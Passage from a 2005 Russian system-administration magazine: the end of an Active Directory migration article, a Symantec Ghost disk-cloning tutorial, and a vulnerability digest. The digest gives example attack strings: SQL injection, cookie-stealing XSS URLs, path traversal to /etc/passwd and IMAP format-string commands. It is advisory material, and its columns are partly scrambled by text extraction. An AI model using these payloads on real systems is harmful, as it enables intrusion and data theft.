администрирование сти информацию из него после входа в домен. Полностью копировать содержимое старого профиля не рекомендуется без особых оснований, чтобы не перетаскивать ненужный мусор – если что-то понадобится – всегда можно будет потом достать. Проверив работоспособность первой рабочей станции домена, можно переходить к вводу в домен остальных, повторяя описанную процедуру. Несмотря на то, что при входе пользователя в домен создается новый профиль, а старый остается невредимым – все равно крайне рекомендуется создавать архивную копию указанных данных в независимом месте. Если же на рабочей станции производилась переустановка ОС, то все пользовательские данные необходимо будет восстанавливать именно из упомянутого архива. При переносе данных из одного профиля в другой помните, что если пользователь не будет являться локальным администратором компьютера, то может возникнуть необходимость принудительного делегирования ему необходимых разрешений NTFS. Например, на папку почтового ящика в программе The_Bat и пр. В противном случае вы можете столкнуться с ситуацией, когда пользователь будет видеть документ (ярлык, папку и пр.), а в доступе ему будет отказано. Это же касается настроек и данных программ – если какая-либо программа после переноса настроек отказывается работать, – прежде всего проверьте права доступа нового пользователя к рабочим папкам программы. В ситуациях, когда затруднительно понять, куда же именно не хватает прав доступа и в этом ли заключается проблема, можно на время делегировать пользователю права локального администратора и заново произвести вход в систему. Если проблема локализована и остается определить объекты доступа – можно воспользоваться любым системным монитором от стороннего производителя, позволяющим вести журнал обращения к объектам. Я использую для этих целей программу Filemon от Sysinternals. Она удобна тем, что не требует инсталляции и показывает не только файловую активность, но и результаты обращения к реестру, а также к Named Pipes. Акцентирую внима-
№9, сентябрь 2005
ние на том, что делегируются права локального администратора на конкретной локальной станции, а не права администратора домена! В грамотно настроенной сети даже если пользователю оставить эти права для работы – кроме настроек своего компьютера он ничего испортить не сможет.
Начинаем работать с доменом AD Разумеется, что первое тестирование работоспособности системы должны проводить вы – еще до того, как пользователи выйдут на свои рабочие места. При перенесении настроек из старых профилей в новые необходимо на каждом рабочем месте сымитировать работу конкретного пользователя – открыть несколько документов, проверить работоспособность почты, баз данных и пр. Не поленитесь сделать это, иначе в первый час работы фирмы вам придется «разрываться на части» между компьютерами, восстанавливая работоспособность конкретных программ. Например, осуществив первый вход в систему, обязательно поочередно запустите программы семейства Microsoft Office – при первом запуске с новым профилем пользователя они произведут необходимые настройки, возможно, потребовав дистрибутивные файлы. В противном случае пользователь, ткнув в любой документ Office, запустит этот процесс, получив при этом сообщение о недоступности файла. Практика показывает, что это наиболее частое упущение. То же самое с путями и правами к базам системы «1С:Предприятие» – выше описан способ восстановления таких настроек. Не забывайте также про папки с общим доступом и прочие сетевые ресурсы – их все необходимо будет восстановить и проверить работоспособность и права доступа. Также часто пользователи для доступа к сетевым ресурсам используют быстрые ссылки, автоматически создаваемые в папке «Сетевое окружение». В первый день ввода в эксплуатацию новой системы вы должны появиться на предприятии раньше всех. Если вы позволите себе опоздать, реакция пользователей будет непредсказуемой – от недоумения до паники. Главное – не позволяйте пользователям сеять эту панику среди коллекти-
ва. ваши реплики при общении должны быть спокойными и уравновешенными: «Не волнуйтесь, сейчас все настройки восстановим. Мне понадобится ваша помощь» и т. д. Рекомендуется повесить на входе объявление о «Переходе на новую систему» с просьбой по всем вопросам обращаться к вам. После перенастройки системы вы услышите множество возгласов в стиле: «Все мои документы пропали!». Главное не паниковать – если все было сделано грамотно и архивы созданы, – восстановить связи недолго. Не стоит метаться от одного пользователя к другому – по очереди подойдите к каждому и попросите при вас проверить работоспособность системы. Устраните самые срочные проблемы и перейдите к следующему пользователю. Если в процессе исследований какие-то настройки или документы пользователей были утрачены – немедленно просмотрите информацию, указанную пользователем в анкете компьютера. Если там ничего не говорится об этих данных – вы тоже не экстрасенс и догадываться на астральном уровне не могли. Поясните это пользователю. Именно поэтому очень важно несколько раз предупредить пользователей об ответственности при заполнении анкеты. Практика показывает, что при адекватной психологической реакции администратора (профессионализм, спокойствие и невозмутимость) такие проекты осуществляются ровно и по плану. Разумеется, что речь идет именно о корректной реализации такого внедрения. Если перебои в работе предприятия или потеря данных была вызвана ошибками системного администратора – стоит задуматься о повышении квалификации и не браться за подобные проекты. Автор статьи реализовал более 200 подобных и более сложных проектов системной интеграции и частично описал свой личный опыт работы.
Литература: 1. Марков Р. Установка и настройка Windows 2К Server. – Журнал «Системный администратор» №10, 2004 г. – 88-94 с. 2. Microsoft Windows 2000 Active Directory Services. Учебный курс. Издательство: Русская Редакция – http://www.rusedit.ru.
11
администрирование
SYMANTEC GHOST, ИЛИ КАК СДЕЛАТЬ КЛОН СВОИМИ РУКАМИ
МИХАИЛ ПЛАТОВ Вам наверняка приходилось сталкиваться с ситуацией, когда нужно было установить несколько компьютеров с абсолютно одинаковым набором программ. «Тупая механическая работа – думали вы, – почему нельзя просто взять и скопировать?». Собственно, а кто сказал, что нельзя? Очень даже можно, и сегодня вы узнаете как!
Первое знакомство Поддержка парка компьютеров большого предприятия – задача не из легких. Наиболее удручающая часть – рутинная работа по обслуживанию компьютеров. Наиболее типичные задачи: установка ОС, поддержка ее работоспособности, модернизация оборудования, миграция настроек пользователей и т. д. Для решения этих проблем можно использовать платформу Windows Server System. Так, благодаря Active Directory упрощается управление учетными записями пользователей организации, а с помощью Remote Installation Services (RIS) можно автоматизировать процесс установки операционной системы. Однако возможности RIS небезграничны, поэтому и существуют продукты партнеров Microsoft, к числу которых относится и Symantec. О продукте Symantec Ghost 8.0 Corporate Edition и пойдет речь в этой статье.
12
Итак, что же может делать Symantec Ghost? Полный ответ приводится на более чем трехстах страницах сопроводительного руководства [1]. Коротко же можно сказать так: «Symantec Ghost позволяет значительно облегчить установку и поддержку ОС и программного обеспечения в организации». Кратко перечислю его наиболее интересные функции: ! Массовое «клонирование» компьютеров. Представьте, что вам необходимо установить операционную систему, а также некий набор программ на 100 только что купленных компьютеров. С помощью Symantec Ghost можно изготовить так называемый «эталонный образ», содержащий все необходимые программы, а затем растиражировать его на необходимое количество компьютеров (при этом предполагается, что вы располагаете необходи-
мыми лицензиями для эксплуатации ПО на необходимом количестве компьютеров). ! Резервное копирование. С помощью Ghost можно делать резервные копии нескольких папок, разделов и жестких дисков. Поддерживаются как полные, так и инкрементальные резервные копии. ! Восстановление компьютеров до «известного» состояния. С помощью планировщика заданий можно по заданному расписанию периодически (например, раз в день) восстанавливать ОС на компьютерах до известного состояния. Данная схема особенно полезна для интернет-салонов, учебных заведений, а также других мест, в которых за компьютерами работает большое количество слабо контролируемых пользователей. Кроме того, при такой схеме для уста-
администрирование FAQ
Рисунок 1. Структура Symantec Ghost
!
!
!
!
!
новки новой программы на все компьютеры достаточно просто один раз обновить используемый мастер-образ. Централизованное управление компьютерами – с помощью консоли можно выполнять на управляемых компьютерах любые команды и файлы, а также получать информацию от системных объектов WMI. Так, по определенному признаку (тип ОС, объем установленной памяти и другие параметры) можно выделить группу компьютеров и выполнить для них некоторую команду (запуск файла установки обновления ПО, специализированная утилита и т. д.). Миграция параметров пользователей – используя встроенные средства, можно перенести файлы и параметры учетной записи пользователя при установке новой версии операционной системы. Централизованная установка ПО – создавая специальные пакеты установки (AI Packages), можно просто и быстро устанавливать дополнительное ПО на компьютеры, управляемые Ghost-сервером. Поддержка популярных файловых систем. Symantec Ghost может на уровне файлов работать с файловыми системами FAT, FAT32, NTFS и Linux Ext2/3. Возможность работы с различными устройствами. Для хранения образов могут использоваться локальные жесткие диски, сетевые ресурсы, CD и DVD-приводы, устройства USB 1.1/2.0 и FireWire (IEEE1394).
Д ля лучшего понимания принципов работы, давайте посмотрим на Symantec Ghost изнутри. Как видно из рис. 1, Symantec Ghost представляет собой типичное клиент-серверное приложение. Серверная часть представлена «Служ-
№9, сентябрь 2005
бой конфигурации» (Symantec Ghost Configuration Service), СУБД Adaptive Server Anywhere 7.0 и графической консолью управления (Ghost Console). В составе клиента условно можно выделить два основных компонента: ! Ghost-раздел на жестком диске. ! Клиент Ghost-консоли, работающий как системная служба ОС. Существует два типа Ghost-разделов: реальный раздел на жестком диске (FAT12, 16 Мб) и так называемый «виртуальный» раздел. Первый является обычным загрузочным DOS-разделом, с которого при необходимости запускается DOS-версия клиента Ghost. (Например, при обновлении ОС компьютера). В отличие от реального раздела, виртуальный создается в нефрагментированном файле, на загрузочном системном диске. Если вы планируете периодически обновлять ОС, то лучше создать выделенный раздел для клиента, если же Ghost будет преимущественно использоваться только для выполнения команд, установки ПО, получения информации и редкой переустановки ОС, то можно ограничиться виртуальным разделом. Работа в Ghost происходит по следующему сценарию: ! С помощью консоли администратор назначает компьютеру задание (запись раздела жесткого диска, установка пакета ПО, копирование фалов, применение параметров компьютера, выполнение файла и т. д.). ! Сервер конфигурации подключается к клиенту и сообщает ему команду, которую необходимо выполнить. ! В зависимости от типа команды клиент либо выполняет ее непосредственно из Windows, либо загружает DOS-версию клиента и выполняет ее оттуда (например, в случае записи раздела диска).
Можно ли с помощью Ghost клонировать Linux, установленный на ext2/3 файловую систему? Можно, но в этом случае образ будет делаться посекторно, со всеми вытекающими отсюда последствиями (невозможность изменения размера раздела при клонировании, отсутствие возможности просмотра и редактирования файлов в образе). Можно ли с использованием Ghost клонировать Windows 2000/2003 серверы? Технически ghost способен сделать образ раздела или диска сервера, который в дальнейшем может использоваться как резервная копия или как образ для миграции. Если же предполагается создание дополнительной копии существующего сервера, например, для работы в качестве резервного контроллера домена, то ghost для этих целей лучше не использовать. Дело в том, что многие серверные службы при установке создают собственные уникальные идентификаторы. При клонировании Ghost изменит только SID компьютера (с помощью Ghost Walker или sysprep). Идентификаторы служб потеряют свою уникальность, что в свою очередь может привести к сбоям в их работе. Как клонирование отражается на файлах, зашифрованных с помощью EFS? Если при клонировании вы изменяете SID (с помощью sysprep, Ghost Walker или другого средства), то зашифрованные файлы прочитать будет невозможно. Если же делаете копию диска в целях резервирования, то SID не изменится и зашифрованные файлы будут читаться так же, как и на ригинальном компьютере. Можно ли с помощью Ghost клонировать ОС, установленную на RAID-массиве? Нет, работа с RAID-массивами не поддерживается.
Итак, думаю общее рассмотрение на этом можно закончить и плавно перейти к практической части нашего исследования.
Устанавливаем Ghost-сервер В качестве примера рассмотрим решение проблемы, которую мы рассмотрели выше – установка 10 новых компьютеров с возможностью их периодичес-
13
администрирование Меняем HAL А зачем вообще может понадобиться смена HAL? В нашем случае целью является создание «универсального образа ОС», работающего на компьютерах различной конфигурации, хотя могут быть и другие причины: например, вы купили новую материнскую плату с поддержкой HyperThreading, а переустанавливать заново ОС и все программы особого желания нет. Можно выделить два варианта замены HAL – смена «более продвинутого HAL» (нижние строки таблицы 1) на более «старый» (верхние строки таблицы 1). В этом случае подойдет стандартное средство – диспетчер устройств. Найдем устройство компьютер, в контекстном меню выберем «Обновить драйвер» и в режиме ручной установки выберем нужный HAL из списка. К сожалению, для обратной замены (более старого HAL на продвинутый), начиная с Windows XP и выше, такой способ не работает, и HAL придется менять вручную. Для начала определитесь с типом HAL, который вы хотите установить. Если вы
кого сброса до начального состояния. Для усложнения задачи будем считать, что компьютеры имеют различные аппаратные конфигурации. Первое, что нам потребуется сделать, – установить Ghost-сервер. Для этого скачаем с сайта Symantec [2] ознакомительную версию Symantec Ghost 8.0 Trialware (90 Мб). Эта версия обладает полной функциональностью, ограничением же является максимальное число обслуживаемых клиентов – 10, а также суммарное количество операций, которые можно выполнить из консоли – 20. Процесс инсталляции не должен вызвать каких-либо затруднений – стандартные диалоги мастера InstallShield. Установка с параметрами по умолчанию (все компоненты) нас вполне устроит. Системные требования для сервера более чем скромные – ОС Windows 2000 SP4 или выше с 96 Мб ОЗУ. После установки сам Ghost занял 72 Мб на диске. Требования к клиентам еще смешнее – процессор от 386. Поддерживаемые клиентом ОС – от Windows 9x до Windows XP, Linux (желательно с файловой системой ext2 или ext3). После установки буду т созданы две системные службы: Symantec
14
! AI Builder – инструмент создания папланируете установить ACPI-ядро вместо Standard PC, то, скорее всего, придется переустанавливать ОС, слишком сильны отличия в реестре. Если же нужно заменить одно ACPI-совместимое ядро на другое, то можно обойтись без переустановки. Рассмотрим сказанное на примере. Допустим мы хотим обновить HAL для поддержки HyperThreading. Из дистрибутива Windows (или файла drivers.cab) возьмем файлы ntkrnl.exe и halmacpi.dll и скопируем их в папку system32 инсталляции Windows. Затем откроем файл boot.ini и продублируем последнюю строчку, добавив к ней параметры /kernel=ntkrnlmp.exe /hal=halmacpi.dll. Должно получиться нечто похожее на это: ulti(0)disk(0)rdisk(0)partition(1) ↵ WINDOWS="XP Professional MP" ↵ /noexecute=optin /fastdetect ↵ /kernel=ntkrnlmp.exe ↵ /hal=halmacpi.dll
Теперь перезагрузимся и проверим новый HAL, открыв Task Manager. На компьютерах с поддержкой HT процессоров будет два.
Ghost Database Service и Symantec Ghost Win32 Configuration Server. Первая служба представляет собой СУБД Adaptive Server Anywhere 7.0, которая используется для хранения служебных данных, вторая – сервер конфигурации Ghost, отвечающий за взаимодействие с Ghost-клиентами. В программном меню будет созданы ярлыки для запуска следующих компонентов: ! Symantec Ghost Console – как следует из названия, это и есть основной компонент, с помощью которого осуществляется управление зарегистрированными рабочими станциями. ! GhostCast Server – с помощью этого приложения можно вручную организовывать передачи ghost-образов клиентам. Очень полезно при первом подключении компьютеров к консоли. При выполнении заданий из консоли GhostCast Server будет запускаться автоматически. ! Ghost Boot Wizard – с помощью этой утилиты можно формировать загрузочные носители (дискета, компакт-диск, загрузочный раздел жесткого диска), содержащие DOSклиента Ghost.
кетов установки ПО для их последующего централизованного размещения через Ghost-консоль. ! Ghost Explorer – программа, позволяющая просматривать и редактировать Ghost-образы. На этом ненадолго оставим наш сервер и перейдем к клиентскому компоненту.
Изготавливаем клон Первое, что нам понадобится сделать, – создать эталонный образ, который впоследствии и будет растиражирован на все компьютеры. При этом мы можем использовать как образ всего жесткого диска (содержащий загрузчик и все разделы), так и образ одного системного раздела ОС. Второй способ является более гибким и, возможно, чуть более сложным. Именно его мы и рассмотрим. Итак, возьмем наиболее типичный компьютер и приступим к установке. Первым делом переразметим диск, удалив с него все разделы. Для ОС и сопутствующих программ создадим 10 Гб primary-раздел. Оставшееся место используем по собственному усмотрению, например, для хранения файлов. В установке ОС нет никаких особенностей (здесь предполагается, что используется корпоративная версия Windows XP SP2, не требующая повторной активации при изменении оборудования). Единственное, при использовании XP SP2 пришлось отключить режим «Простого общего доступа к файлам» и активировать исключающее правило для службы «File and Printer Sharing» в параметры firewall. Разрешения для Ghost-клиента в Windows Firewall добавились автоматически. Для централизованного управления установим на подопытную машину клиента Ghost-консоли. Для этого зайдем на сервер, запустим Ghost Console и в меню Tools выберем пункт Remote Client Install. В появившемся списке выберем нужный компьютер и нажмем кнопку «Add >>». Затем введем имя и пароль пользователя, имеющего доступ к машине, в нашем случае таким пользователем будет локальный администратор. После нажатия кнопки «Install» сервер подключит-
администрирование ся к компьютеру и установит на него Ghost-клиента. Если же по каким-то причинам дистанционно установить клиента не удалось, то можно провести установку вручную. Дистрибутив клиента можно взять либо на компакт-диске продукта, либо в папке установки сервера. При запуске необходимо указать имя компьютера с Ghost-сервером. Через некоторое время после установки машина появится в Ghost-консоли.
Подготавливаем образ После завершения инсталляции программ перейдем к наиболее интересному моменту – подготовке системы к тиражированию. При этом нам необходимо будет решить две основные проблемы: ! Добиться переносимости образа между компьютерами с различным оборудованием. ! Сделать так, чтобы ОС-клоны смогли работать в одной сети. Истоки первой проблемы скрываются в недрах архитектуры Windows NT, а именно – в механизме работы ОС с оборудованием. В Windows NT существует так называемый HAL (Hardware Abstraction Layer) – уровень абстракции от оборудования, скрывающий от ядра ОС особенности работы с физическими устройствами. Ничего плохого в самой идее HAL нет, скорее даже наоборот, просто его конкретная реализация в ОС Windows вызывает некоторые трудности применительно к массовому тиражированию. Дело в том, что в Windows существует несколько различных HAL. Так есть HAL PIC, APIC, MP и несколько версий ACPI (cм. таблицу 1). Выбор в пользу применения конкретного HAL дела-
ется на этапе установки ОС, в зависимости от типа имеющегося в компьютере оборудования. Так, для компьютеров на основе чипсета i440LX/ BX, скорее всего, будет выбран HAL PIC или APIC, в то время как на более новых материнских платах (большинство выпущенных после 1999 года) при установке, скорее всего, будет выбрана ACPI-версия HAL. Соответственно, если эталонная система изготавливалась на компьютере с полной поддержкой ACPI (в диспетчере устройств для компьютера написано ACPI Uniprocessor PC), то растиражировать образ можно будет только на такие же 100% ACPI-совместимые компьютеры. С другой стороны, использовать HAL Standard PC на современных компьютерах тоже не совсем правильно. Таким образом, выбор в пользу конкретного HAL следует производить исходя из реального парка компьютеров. В нашем примере мы будем использовать компромиссный вариант HAL – Advanced Configuration and Power Interface (ACPI) PC, поддерживающий часть спецификаций ACPI. В этом случае мы, с одной стороны, получим большинство функций Power Management, а с другой стороны, обеспечим хорошую переносимость клона. Гораздо проще поддерживать один клон, чем по одному для каждой линейки, особенно если линеек таких много. Однако успех переноса определяется не только текущим HAL, но и драйверами, используемыми в системе. Так, наверняка многие из вас пробовали переставлять жесткий диск с установленной ОС в другой компьютер, причем если в этом компьютере использовался другой чипсет (более новая версия или чипсет другого произ-
Рисунок 2. Стандартные версии драйверов
водителя) то ОС, как правило, стартовать отказывалась. Причина такого поведения достаточно проста. ОС загружается, попутно инициализируя известные ей устройства. Думаю, не нужно быть пророком, чтобы догадаться, что скажет IDE контроллер Intel, когда с ним будут говорить на языке контроллера VIA или AMD. Мы же при этом обычно видим «синий экран» с надписью «Inaccessible boot device». Чтобы этой ситуации избежать, поступим следующим, неоднократно проверенным способом: перед переносом системы с помощью диспетчера устройств заменим драйверы контроллера IDE и его каналов стандартными версиями. Перезагружать компьютер при этом не нужно (рис. 2). Далее можно выключить компьютер, вытащить диск, переставить его в другую машину, например, с другой аппаратной конфигурацией, при необходимости установить недостающие драйверы и убедиться, что все корректно работает. Повторив эту операцию для каждого типа используемых машин, мы доставим в систему все необходимые драйверы, тем самым избавив себя от проблем с их установкой после клонирования. На этом первую проблему (переносимость) можно считать решенной и теперь перейдем ко второй. Причины второй проблемы кроются в механизмах работы ОС Windows NT
Таблица 1. Возможные типы HAL, используемые Windows
№9, сентябрь 2005
15
администрирование в рамках сети. В доменах и рабочих группах компьютеры идентифицируются по имени и уникальному идентификатору безопасности – SID (Security Identifier), создаваемому на этапе установки ОС. Таким образом, скопировав диск «в лоб» мы получим вторую копию операционной системы, имеющую точно такие же SID компьютера и пользователей. С практической стороны эта ситуация будет выглядеть следующим образом: из всех наших клонов только один сможет войти в рабочую группу или домен. Итак, как вы уже, наверное, догадались, решением второй проблемы является изменение имен и компьютеров и их идентификаторов безопасности (SID). Для этого можно использовать как минимум 2 средства: ! Symantec Ghost Walker ! Microsoft Sysprep
Рисунок 3. Окно диалога Setup Manager
Первое средство входит в состав корпоративной версии Ghost и предназначено специально для изменения идентификаторов безоРисунок 4. Диалог создания задания пасности. Второе, более полно именуемое «sysprep setup»), далее укажем тип искак System Preparation Tool, выпускает- пользуемой нами ОС, а на последний ся корпорацией Microsoft для тиражи- вопрос мастера выберем ответ с полрования и аудита ОС Windows 2000/XP ной автоматизацией установки («Yes, корпоративными клиентами, реселле- fully automate the installation»). В появиврами и дистрибьюторами. Ввиду боль- шемся окне мы можем ввести ответы шей гибкости и универсальности для на вопросы, задаваемые при установрешения нашей задачи будем исполь- ке. Для успешного клонирования опрезовать sysprep. Помимо самой утили- делим следующие значения полей: ! Time Zone – выберем GMT+3. ты нам понадобится сделать так назы! Product Key – введем серийный новаемый «файл ответов», в котором бумер ОС. дут указаны параметры, которые бу! Computer Name – выбрать варидут использоваться для автоматизаант с автоматической генерацией ции установки. Утилиту sysprep возьимен. мем с компакт-диска Windows XP из ар! Networking Components – использохива deploy.cab, находящегося в папвать DHCP. ке support\tools. Разархивировав со! Workgroup or domain – необходимо держимое архива, на Ghost-сервер заоставить вариант с включением в пустим файл setupmgr.exe. С его поморабочую группу. щью мы создадим файл ответов для ! Regional Settings, Languages – выsysprep. В первом диалоге укажем, брать русский язык. что мы хотим создать новый файл (пункт «create new»), во втором выбеОстальные поля можно заполнить рем файл ответов для sysprep (опция
16
по собственному усмотрению. Сохраним файл под именем sysprep.inf (рис. 3). Теперь вернемся к Ghostконсоли и создадим задание для получения образа. Для этого откроем раздел меню Tasks, щелкнем правой кнопки мыши в области справа и в появившемся меню выберем параметр «New Image Create Task» (см. рис. 5). В появившемся окне зададим имя задания – Dump Image, выберем диск, раздел и компьютер, с которого будет делаться образ. Напротив «Image Name» нажмем «Browse», и укажем имя файла, которое будет использоваться для хранения образа (см. рис. 4). На закладке «Network» выберем режим «Unicast» и, если необходимо, зададим ограничение на максимально используемую пропускную способность сети. Затем перейдем на закладку «Sysprep», активируем параметр «Run Microsoft Sysprep on machine before creating image» и создадим sysprep-конфигурацию с использованием файлов, распакованных из deploy.cab. После запуска этого задания на машине-эталоне загрузится DOS-клиент, который начнет передачу образа на сервер (см. рис. 6).
Предстартовый отсчет Как только образ скопируется, можно будет перейти к заключительному этапу – массовой установке ОС на клиентские компьютеры. А пока идет копирование, произведем небольшую настройку рабочих станций. Как вы уже, наверное, догадались, для передачи образа на рабочие станции нам понадобится предварительно запустить на них Ghost-клиента. Сделать это можно двумя способами.
Рисунок 5. Создание задания
администрирование
Рисунок 6. Передача образа в DOS-клиенте
Способ 1: загрузка DOS-версии Ghost-клиента с помощью 2 загрузочных дискет. Создать дискеты можно с помощью мастера «Ghost boot Wizard». В этом случае нужно будет вручную загрузить все необходимые компьютеры, запустить GhostCastсервер и передать клиентам файл-образ. Данный способ прост, и его вполне можно использовать, если машин немного и регулярно клонировать их, скорее всего, не придется. Если же ситуация иная, то больше подойдет способ 2: автоматизированная установка служебного Ghost-раздела. В этом случае с использованием механизмов сетевой загрузки на каждом клиентском компьютере создается служебный загрузочный раздел, на котором размещается DOS-версия клиента. В варианте «из коробки» для сетевой загрузки Ghost используется механизм 3Com DynamicAccess boot. Ввиду того, что эта технология поддерживается далеко не всеми сетевыми платами, рассмотрим другой, более универсальный способ. Идея следующая – сетевая загрузка Linux-системы с последующим копированием служебного раздела Ghost. При этом необходимо выполнить следующие шаги: ! Создать 2 загрузочные дискеты с DOS-клиентом Ghost. Дискеты создаются с помощью мастера «Ghost boot Wizard», вариант «Network boot disk». Рисунок
№9, сентябрь 2005
Рисунок 7. Копирование конфигурации компьютеров
! Создать образ загрузочного раз-
дела Ghost, содержащий Ghostклиента и драйверы сетевых карт. Для создания образа используется тот же самый мастер, вариант «Console Boot Partition». Для добавления драйверов нескольких карт можно использовать пункт «Multicard Template». ! При помощи стандартных средств (GhostCast-сервер и дискеты) записать полученный образ на один из целевых компьютеров (но не на тот, на котором мы сделали клон) в режиме копирования диска. ! Через PXE загрузить Linux с корневой файловой системой на NFSсервере. ! Скопировать загрузчик и первый раздел диска на NFS-сервер. Сде-
лать это можно с помощью следующей команды: # dd if=/dev/hda of=/home/hda ↵ count=32256 ibs=512 322256+0 records in 322556+0 records out
Через PXE загрузить все остальные компьютеры и записать на них полученный образ. (Внимание! При этом вся информация на первом жестком диске будет уничтожена!) В самом простом случае достаточно модифицировать стартовые скрипты дистрибутива так, чтобы выполнялись команды dd и reboot. После перезагрузки компьютеры загрузят DOS-клиента Ghost и зарегистрируются в консоли. Теперь создадим для них конфигурации (имя компьютера, рабочая группа и т. д.), взяв в качестве шаблона вариант от компьютера-клона (см. рис. 7). Вот теперь мы можем приступать к клонированию компьютеров.
Лейся, образ…
8. Основные настройки задания Deploy Image
Для доставки образа создадим задание Deploy Image. Перейдем в раздел Tasks, и в контекстном меню мыши выберем пункт «New Task». Н а п е р в о й з а к л а д к е о тметим галочками «Clone» и «Configuration» и выберем группу подопытных машин (см. рис. 8). На второй закладке выберем режим Multicast, на за-
17
администрирование кладке «Clone», укажем, что мы будем разворачивать наш образ на второй раздел первого жесткого диска (см. рис. 9). Для того чтобы второй раздел не занял все оставшееся место на жестком диске, нажмем на кнопку Advanced и укажем дополнительный параметр командной строки: -szee. Убедимся, что на закладке «Configuration» установлен параметр «default», и нажмем «OK». Теперь в контекстном меню только что созданного задания выберем пункт «Execute Task». Через несколько минут компьютеры загрузят DOS-версию клиента Ghost и начнут передачу образа. Если процесс прошел нормально, то после выполнения задания на всех компьютерах Рисунок 9. Настройки клонирования задания группы будет установлена «свежая» Deploy Image операционная система. В качестве последнего штриха кладке первого параметра укажем, добавим эти компьютеры в домен. что мы хотим записать файл netdom. Для этого можно либо воспользовать- exe в incoming-каталог клиента Ghost, ся соответствующей функцией Ghost, для второго параметра укажем, что либо провести подключение вручную. в ОС мы хотим запустить следующую Мы поступим вторым способом, попут- команду: но рассмотрев механизм выполнения "c:\program Þles\symantec\ghost\ ↵ команд на компьютерах с Ghost-клиincoming\netdom.exe" ентом. Для решения этой задачи воспользуемся утилитой netdom.exe, вхо- с параметром: дящей в состав Windows Support Tools. Join %computername% /domain: ↵ В консоли создадим задание «Add имя _ домена /userD: ↵ to domain», с параметрами «Transfer Administrator@имя _ домена ↵ /password:пароль /reboot Files» и «Execute Command». На за-
Symantec Ghost и VMWare Workstation Прочитав заголовок, вы наверняка подумаете: «С Symantec Ghost все понятно, но при чем тут WMWare Workstation? Ведь это совершенно разные продукты». На самом деле, WMWare Workstation хорошо дополняет систему с Ghost. Представьте себе, что вам необходимо поддерживать несколько различных клонов: бухгалтерия, отдел программирования, студия дизайна, отдел верстки и т. д. При этом время от времени приходится обновлять некоторые программы. С использованием стандартной схемы с Ghost процесс обновления, скорее всего, будет проходить так: распаковка образа на тестовый компьютер, установка программы, создание нового образа. А что если после обновления вы нашли ошибку? Делать резервные копии образов? При каждом обновлении? Для каждой ветки образа? А вот теперь самое время вспомнить о VMWare
18
После выполнения команды компьютеры перезагрузятся и подключатся к домену.
Заключение Справедливости ради нужно отметить, что существуют ситуации, в которых не обязательно использовать все компоненты продукта. Если вы занимаетесь предпродажной установкой ОС, то Ghost-клиент и консоль нам вряд ли понадобится, а вот sysprep и компакт-диск с DOS-версией клиента Ghost будут как нельзя кстати. При помощи простого скрипта можно заранее записать ОС на десяток жестких дисков, а затем просто при необходимости вставлять их в собираемые компьютеры. Похожий метод будет полезен и при установке нескольких машин в небольших фирмах. Ghost-клиент DOS с поддержкой сетевых карт позволит быстро переустановить компьютер, не прибегая к помощи отвертки. Если же компьютеров у вас очень много и дружбу с Ghost вы планируете всерьез и надолго – устанавливайте консоль, не пожалеете!
Литература, ссылки: 1. Symantec Ghost Implementation Guide. 2. h t t p : / / s e a . s y m a n t e c . c o m / j p / promotions.cfm?productid=9&promo code=website.
Workstation 5. Одной из возможностей дан- вы случайно совершили ошибку, – не расной программы является созданием сним- страивайтесь, ведь у вас есть Undo! ков (Snapshot) и клонов. Если различия между используемыми версиями не очень велики, то различные образы можно поддерживать в дереве снимков (см. рис. 10). При этом для установки новой программы не нужно загружать образ на тестовый компьютер, достаточно просто перейти к нужному снимку, установить нужную программу и скопировать образ с помощью Ghost-клиента. Если в процессе установки Рисунок 10. Дерево снимков VMWare Workstation
bugtraq Переполнение буфера в DameWare Mini Remote Control Server Программа: DameWare Mini Remote Control Server 4.9.0 и более ранние версии. Опасность: Критическая. Описание: Переполнение буфера обнаружено в процедуре аутентификации при обработке слишком длинного имени пользователя (порт 6129). Удаленный пользователь может скомпрометировать удаленную систему. URL производителя: www.dameware.com. Решение: Установите последнюю версию (4.9.2.4) с сайта производителя.
Переполнение буфера в URL-обработчике в Mozilla Firefox Программа: Netscape Netscape 8.0.3 .3, Netscape Netscape 7.2, Mozilla Firefox 1.5 Beta1, Mozilla Firefox 1.0.6, Mozilla Browser 1.7.11. Опасность: Критическая. Описание: Переполнение буфера в Mozilla/Netscape/Firefox позволяет удаленному пользователю вызвать отказ в обслуживании или выполнить произвольный код на системе пользователя, просматривающего специально обработанную веб-страницу. Пример: <A HREF=https:--------------------------------------------- >
Множественные уязвимости в phpMyFAQ Программа: phpMyFAQ 1.5.1. Опасность: Высокая. Описание: 1. SQL-инъекция обнаружена в сценарии /admin/ password.php из-за недостаточной обработки входных данных. При выключенной опции «PHP magic quotes» удаленный пользователь может выполнить произвольные SQLкоманды на системе. Пример формы восстановления пароля: user: ' or isnull(1/0) /* mail: [your _ email]
2. Удаленный пользователь может произвести XSS-нападение и получить доступ к потенциально важным данным других пользователей. Пример: http://[target]/[path]/phpmyfaq/admin/footer.php? PMF _ CONF[version]=<script>alert(document.cookie) ↵ </script> http://[target]/[path]/phpmyfaq/admin/header.php? PMF _ LANG[metaLanguage]="><script>alert(document.cookie) ↵ </script>
3. Удаленный пользователь может выполнить произвольный PHP-сценарий на системе с помощью символов обхода каталога. Пример: http://[target]/[path]/phpmyfaq/index.php? LANGCODE=/../../../../[scriptname] http://[target]/[path]/phpmyfaq/index.php? LANGCODE=/../../ ../../../../etc/passwd%00
URL производителя: http://www.mozilla.org. Решение: Установите патч с сайта производителя – Mozilla Patch 307259.xpi.
4. Удаленный пользователь может получить доступ к лог-файлу. Пример:
Уязвимость форматной строки в GNU Mailutils imap4d
5. Удаленный пользователь может получить данные об установочной директории приложения на сервере. Пример:
Программа: GNU Mailutils 0.6. Опасность: Высокая. Описание: Уязвимость форматной строки существует при обработке команд IMAP SEARCH в файле search.c. Удаленный авторизованный пользователь может послать специально сформированную SEARCH-команду и выполнить произвольный код на целевой системе. Пример: SEARCH TOPIC %08x.%08x.%08x.%08x SEARCH TOPIC %s%s%s
URL производителя: www.gnu.org/software/mailutils/ mailutils.html. Решение: Установите исправление с сайта производителя.
Переполнение буфера в Cisco IOS Authentication Proxy for FTP/Telnet Программа: Cisco IOS 12.х. Опасность: Критическая. Описание: Переполнение буфера существует в Authentication Proxy FTP/Telnet при обработке данных аутентификации. Удачная эксплуатация уязвимости вызывает перезагрузку устройства и может позволить удаленное выполнение кода. URL производителя: www.cisco.com. Решение: В настоящее время способов устранения уязвимости не существует.
№9, сентябрь 2005
http://[target]/[path]/phpmyfaq/data/tracking[date]
http://[target]/[path]/phpmyfaq/index.php?LANGCODE= ↵ [a _ non _ existent _ Þle]
